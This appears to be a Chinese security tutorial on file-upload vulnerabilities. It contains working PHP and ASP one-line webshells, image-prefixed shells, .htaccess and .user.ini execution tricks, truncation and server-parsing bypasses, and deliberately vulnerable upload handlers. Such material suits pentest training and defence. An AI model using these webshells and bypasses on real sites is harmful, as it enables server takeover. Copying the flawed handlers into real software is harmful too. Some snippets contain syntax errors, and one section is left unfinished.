文件上传

1. 基础

PHP文件上传通常使用 move_uploaded_file 方法配合 $_FILES 变量实现

1
2
3
4
<?php
$file = $_FILES['file'];
move_uploaded_file($file['tmp_name'],$file['name']);
?>

1.1 小马

  • 小马通常指一句话木马,就是一句简单的代码
  • 其主要是为了绕过waf的检测
  • 主要通过GET、POST、COOKIE三种方式提交数据
  • 用 $_GET[]、$_POST[]、$_COOKIE[]接收数据,并把接收到的数据传递给一句话木马中执行命令的函数,进而执行命令
1
2
PHP: <?php @eval($_POST['cmd']); ?>
ASP: <% eval request("cmd") %>

1.2 大马

代码量较大,功能丰富。每个团队都有自己定制的大马

2. 客户端绕过

一般都是在网页上写一段javascript脚本,校验上传文件的后缀名是否合法,有白名单和黑名单两种形式

  • 删除浏览器事件
  • 利用Burpsuit抓包修改文件后缀名
  • 构造上传表单

3. 截断绕过

3.1 00截断

截断条件:PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态;Java中,jdk7u40以下版本存在00截断问题

C语言中, “\0” 是字符串的结束符,如果用户能够传入 “\0” ,就能实现00截断

00截断的场景为:后端先获取用户上传的文件名(如 x.php\00.jpg),再根据文件名获得实际后缀为jpg。通过后缀白名单校验后,在实际保存文件时发生截断,使得最终保存的文件为 x.php。

注意:PHP在使用 $_FILES 实现文件上传时并不存在00截断问题,这是由于PHP的底层语言为C语言,在注册 $_FILES 全局变量时已经产生了截断。(如上传文件名为 x.php\00.jpg 的文件,而注册到 $_FILES 全局变量值为 x.php)

3.2 转换字符集造成的截断

截断条件:PHP版本小于5.4

虽然PHP的 $_FILES 文件上传不存在00截断问题,不过在文件名进行字符集转换的场景下也可能出现截断绕过。

PHP在实现字符集转换时通常使用 iconv() 函数,UTF-8在单字节时允许的字符范围为 0x00-0x7F ,如果转换的字符不在该范围内,则会造成 PHP_ICONV_ERR_ILLEGAL_SEQ 异常,低版本PHP在这个异常后不再处理后面字符,因此造成截断问题

1
$filename = @iconv("utf-8","GBK",$filename);

适用场景为:现在后端获取上传的文件后缀,经过后缀白名单判断后,如果有对文件名进行字符集转换操作,那么可能造成截断问题(如上传 x.php\x99.jpg ,最终保存的文件名为 x.php)

可以使用burpsuit来对可以利用的字符进行测试

此部分方法应用链接:Metinfo6 Arbitrary File Upload Via Iconv Truncate

4. 黑名单绕过

PHP常见的可执行后缀:php3、php5、phtml、pht、php1、php2等

ASP常见的可执行后缀:cdx、cer、asa、aspx等

JSP常见的可执行后缀:jspx、jspf等

4.1 Windows系统特性

1
filename="1.php."   // windows会对文件中的点进行自动去除
1
filename="1.php::$DATA"
1
filename="1.php "   // 空格绕过

Windows环境下,文件名不区分大小写,而 in_array 区分大小写,所以可以尝试大小写后缀名绕过

1
2
3
if(in_array($ext, array('php', 'asp', 'jsp'))){
exit("Forbid!");
}

4.2 上传 .htaccess 绕过黑名单

.htaccess 文件是Apace服务器中的一个配置文件的默认名称(可以在Apache主配置文件中通过 AccessFileName 指令修改其名称)。

Apache主配置文件中通过 AllowOverride 指令配置 .htaccess 文件中可以覆盖主配置文件中的那些指令。在低于2.3.8版本中, AllowOverride 指令默认为All,在2.3.9及更高版本中默认为None。

在低于2.3.8版本中,可以尝试先上传 .htaccess 文件修改部分配置,使用 SetHandler 指令使PHP解析指定文件

1
2
3
4
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

上面这段代码的意思是,一个文件名只要包含“shell”这个字符串的任意文件,就调用php的解析器来解析

1
2
3
<Files "Shell.txt">
SetHandler application/x-httpd-php
</Files>
1
2
3
4
5
SetHandler application/x-httpd-php .jpg

AddHandler php5-script .php

// AddHandler指令的作用是在文件扩展名与特定的处理器之间建立映射

mac 上传页面显示隐藏文件:shift+command+.

4.3 上传 .user.ini 绕过黑名单

PHP 5.3.0 起支持每个目录的INI文件配置,此类文件仅被 CGI/FastCGI SAPI 处理,只要是以 fastcgi 运行的 php 都可以用这个方法,nginx 和 iis 下都可以。默认文件名为 .user.ini

因此,利用 .user.ini 中的两个配置选项可以构造后门

1
2
3
4
5
auto_prepend_file = 1.php		# 是在文件前插入
# or
auto_append_file = 1.php # 文件最后才插入

# 在访问该网站的php文件时,会自动先加载1.php

这两个选项的作用是,在 php 文件加载前,提前加载一个文件,如同 require 函数

于是,可以往 .user.ini 中写入如下内容并上传:

1
auto_prepend_file=shell.png

利用条件:

  • 在 user.ini 中设置 auto_prepend_file=a.gif
  • 在 a.gif 中写入一句话木马
  • 在当前目录下还有一个 php 文件,如 index.php

如果这三个条件在同一个目录下面,就会出先问题,这里就相当于在 index.php 中写了 include "a.gif" , 可以进行文件包含,导致的后果是:当我们对目录中的 index.php 进行访问的时候,会调用 .usre.ini 中的文件把 a.gif 文件以 php 的形式进行读取,造成 userini 的漏洞

4.4 Apache CVE-2017-15715漏洞

在HTTPD 2.4.0到2.4.29版本中, FilesMatch 指令正则中 “$” 能够匹配到换行符,可能导致黑名单绕过

1
2
3
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

以上Apache配置,原意是为了只解析以 .php 结尾的文件,但由于该漏洞导致 .php\n 结尾的文件也能被解析,因此绕过黑名单。

不过在 PHP $_FILES 上传的过程中, $_FILES[‘name’] 会清除 “\n” 字符导致不能利用,但是 file_put_contents 实现上传的方法可以利用。代码如下

1
2
3
4
5
6
7
8
9
10
11
<?php 
$filename = $_POST['filename'];
$content = $_POST['content'];
$ext = strtolower(substr(strrchr($filename,'.'),1));
if($ext != 'php'){
file_put_contents('upload/'.$filename,$content);
}
else{
exit("Forbid!");
}
?>

上面的测试代码中可以通过上传 x.php\n 来进行黑名单绕过

5. 白名单绕过

通常来说,白名单绕过需要借助Web服务器的各解析漏洞或ImageMagick等组件漏洞

5.1 Web服务器解析漏洞

5.1.1 IIS解析漏洞

  • 目录解析

IIS 6中存在目录解析漏洞: “*.asp” 文件夹下的所有文件都会被当作asp脚本进行解析

  • 文件解析

IIS 5.x - 6.x 中存在文件解析漏洞:服务器默认不解析 “;” 后面的内容。例如文件名为 “xx.asp;a.jpg” 的文件会被解析成ASP文件,而上传 “xx.asp;a.jpg” 可以通过白名单的校验。

5.1.2 Nginx解析漏洞

Nginx的解析漏洞是由于配置不当造成的问题,在Nginx未配置 try_filesFPM 未设置 security.limit_extensions 的场景下,可能出现解析漏洞。Nginx的配置如下:

1
2
3
4
5
6
7
location ~ \.php {
# try_files $uri =404;
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/nginxFastCFI_php5.3.14.sock;
fastcgi SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /Application/MAMP/conf/nginx/fastcgi_params;
}

先上传 x.jpg ,再访问 x.jpg/1.php ,location为 .php 结尾,会交给FPM处理,此时 $fastcgi_script_name 的值为 x.jpg/1.php ;在PHP开启 cgi.fix_pathinfo 配置时, x.jpg/1.php 文件不存在,开始 fallback 去掉最右边的 “/“ 及其后续内容,继续判断 x.jpg 是否存在;这时若存在,则会用PHP处理该文件

5.2 Apache解析漏洞

5.2.1 多后缀文件解析漏洞

Apache中,单个文件支持拥有多个后缀,如果多个后缀都存在对应的 handlermedia-type ,那么对应的 handler 会处理当前文件。

如果在Apache的conf中有这样的配置

1
2
Addhandler php5-script .php
AddHandler application/x-httped-php .php

那么即使文件名是 xxx.php.jpg 也会以php来执行

1
2
AddType application/x-httpd-php .php
TypesConfig /Applications/MAMP/conf/apache/mime.types

在上面的Apache的配置下,当使用 AddType 时,多后缀文件会从最右后缀开始识别,如果后缀不存在 MIME typeHandler ,则会继续往左识别后缀,直到后缀有对应的 MIME typeHandler 。如 test.php.qwe.asd.sdf

6. 文件禁止访问绕过

测试中遇到一些允许任意上传的功能,在访问上传的脚本文件时发现并不能被解析或访问,通常是在Web服务器中配置上传目录下的脚本文件禁止访问。在上传目录下的文件无法被访问时,最好的绕过办法肯定是进行目录穿越上传到根目录,如尝试上传 ../x.php 等类似文件。

这种方法对 $_FILES 上传是不能实现的,原因在于,PHP在注册 $_FILES[‘name’] 时调用 _basename() 方法处理了文件名,它会获得最后一个 “/““\“ 后面的字符,所以上传 ../x.php 并不能实现目录穿越,因为在经过 _basename() 后注册到 $_FILES[‘name’] 的值为 x.php

6.1 .htaccess 禁止脚本文件执行绕过

在低于9.22版本的 jQuery-File-Upload 在自带的上传脚本 (server/php/index.php) 中,验证上传文件

6.2 配合文件包含绕过

在PHP文件包含中,程序一般会限制包含的文件后缀只能为 “.php” 或其它特定后缀。在00截断越来越罕见的今天,如果上传目录脚本文件无法被访问或不被解析,那么可以上传一个PHP文件配合文件包含实现解析。

1
2
3
4
5
6
7
8
//page.php
//localhost/book/page.php

<?php
$dir = __DIR__
$page = $_GET['page'];
include $dir.'/'.$page.'.php'
?>
1
2
3
4
5
6
//x.php
//localhost/book/upload/x.php

<?php
echo 'hello world';
?>
1
http://localhost/asd/page.php?page=upload/x

7. 绕过图片验证实现代码执行

7.1 文件相关信息检测

7.1.1 getimagesize绕过

getimagesize 函数用来测定任何图像文件的大小并返回图像的尺寸以及文件类型,如果文件不是一张有效的图像文件,则返回FALSE并产生一条E_WARNING级错误。

getimagesize 的绕过比较简单,只要将PHP代码添加到图片内容后就能成功绕过。

7.1.2 文件幻数检测

检测文件内容开始处的文件幻数

要绕过文件幻数检测就要在文件开头写下面的值

1
2
3
FF D8 FF E0 00 10 4A 46 49 46           //jpg
47 49 46 38 39 61 //gif (GIF89a)
89 50 4E 47 //png

然后在幻数后加上自己的一句话代码就可以了

1
2
3
4
//shell.php

GIF89a
<?php @eval($_POST['cmd']);phpinfo(); ?>

7.1.3 图片马绕过

1
copy 1.jpg/b+1.php/a 2.jpg      # /b 指定以二进制格式复制、合并文件,用于图像、声音类文件;/a 指定以ASCII格式复制、合并文件,用于txt等文档类文件

上传图片马无法直接利用,需要配合文件解析或文件包含漏洞

7.1.4 绕过 <? php

绕过 <? 可以使用下面语句绕过

1
2
3
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

绕过 php 可以使用下面语句绕过

1
<?=@eval($_POST['cmd']);=?>

7.2 imagecreatefromjpeg绕过

imagecreatefromjpeg 方法会渲染图像生成新的图像,在图像中注入脚本代码经过渲染后,脚本代码会消失

该方法也有了成熟的绕过脚本:jpg_payload

绕过需要先上传正常图片文件,再下载回渲染后的图片,运行 jpg_payload.php 处理下载回来的图片,将代码注入图片中,然后上传新生成的图片,这样经过 imagecreatefromjpeg 后注入的脚本代码依然存在

8. file_put_contents 文件上传

8.1 绕过黑名单

在file_put_contents 方法中,在文件名可控的情况下,能够实现目录穿越

如下面的代码出现在Nginx+PHP环境中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set("display_errors","on");

$name = $_POST['name'];

$ext = strtolower(substr(strrchr($name,'.'),1));
$content = $_POST['content'];
if(!in_array($ext,array('php','php3','php4','php5','phtml')){
$name = 'upload/'.$name;
file_put_contents($name, $content);
exit('ok');
}else{
exit('forbid');
})
?>

file_put_contents 的文件名为 “yu.php/.” 时,能够正常写入php文件,并且代码获取的后缀为空字符串,可以绕过黑名单。

这是因为在该方法中,如果路径以 ‘/.’ 结尾,就会截断掉 ‘/.’ 字符,处理成正常的路径。这种方法只能于创建新文件,不能用于覆盖文件。

8.2 死亡之die绕过

很多网站会把Log或缓存直接写入PHP文件,为了防止日志或缓存文件执行代码,会在文件开头加入 ****。如下代码:

1
2
3
4
5
6
7
8
<?php
$filename = $_POST['filename'];
$content = "<?php exit(); ?>\n";
$content .= $_POST['content'];

file_put_contents($filename, $content);
exit('upload success');
?>

上面代码中,用户可以完全控制 filename,包括协议,所以这里可以使用一些字符串过滤器来把 exit() 处理掉,从而让后面写入的代码能够被执行,可以使用 base64_decode 来进行处理。

PHP的 base64_decode 方法默认为非严格模式,只有当字符为 +、/、0-9、a-z、A-Z 时被解码,其余字符都会被跳过。 除去被跳过的字符,剩余 phpexit ,在base64解码时每4字节为一组,所以需要再填充1字节,最终被解码为乱码,从而让后面的代码能够被正常执行

1
curl http://localhost/upload.php -- data "filename=php://filter/write=convert.base64-decode/resource=x.php&content=xPD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8+"

9. ZIP上传的问题

9.1 未递归检测上传目录导致绕过

为了解决解压文件带来的安全问题,很多程序会在解压完ZIP后,检测上传目录下是否存在脚本文件,如果存在,就删除。

如下面的代码,在解压完成后,会通过readdir获取上传目录下的所有文件、目录,如果发现后缀不是jpg、gif、png的文件,就会删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$file = $_FILES['file'];
$name = $file['name'];

$dir = 'upload/';
$ext = strtolower(substr(strrchr($name,'.'),1));
$path = $dir.$name;

if(in_array($ext,array('zip'))){
move_uploaded_file($file['tmp_name'],$path);
$zip = new ZipArchive();
if ($zip->open($path) === true) {
$zip->extractTo($dir);
$zip->close();
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f,array('.','..'))){
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
exit('ok');
} else{
echo 'error';
}
} else{
exit("仅允许上传zip文件");
}
?>

但上述代码仅仅检测了上传目录,没有递归检测上传目录下的所有目录,所以如果解压出一个目录,那么目录下的文件不会被检测到。

unlink 到一个目录时,仅会抛出一个 warning 。当然,也可以把压缩包内的目录命名为 x.jpg ,这样子会直接跳过unlink,连warning都不会抛出

9.2 条件竞争导致绕过

在上传的代码中,如果递归检测了上传目录下的所有目录,这种场景可以通过条件竞争的方式绕过,即在文件被删除前访问文件,生成另一个脚本文件到非上传目录中。通过不断上传文件与访问文件,在文件被删除前访问到文件,最终生成脚本到其他目录中实现绕过。

1
2
3
<?php
fputs(fopen('../shell.php','w'),'<?php phpinfo();?>');
?>

9.3 解压产生异常退出实现绕过

ZipArchive 对象中的 extractTo 方法在解压失败时会返回false

可以构造出一种解压到一半然后解压失败的ZIP包。(利用010 Editor修改生成的ZIP包,将x.php后的内容修改为0xff然后保存生成的新ZIP文件)

由于解压失败,在 check_dir 方法前执行了 exit,已解压的脚本文件就不会被删除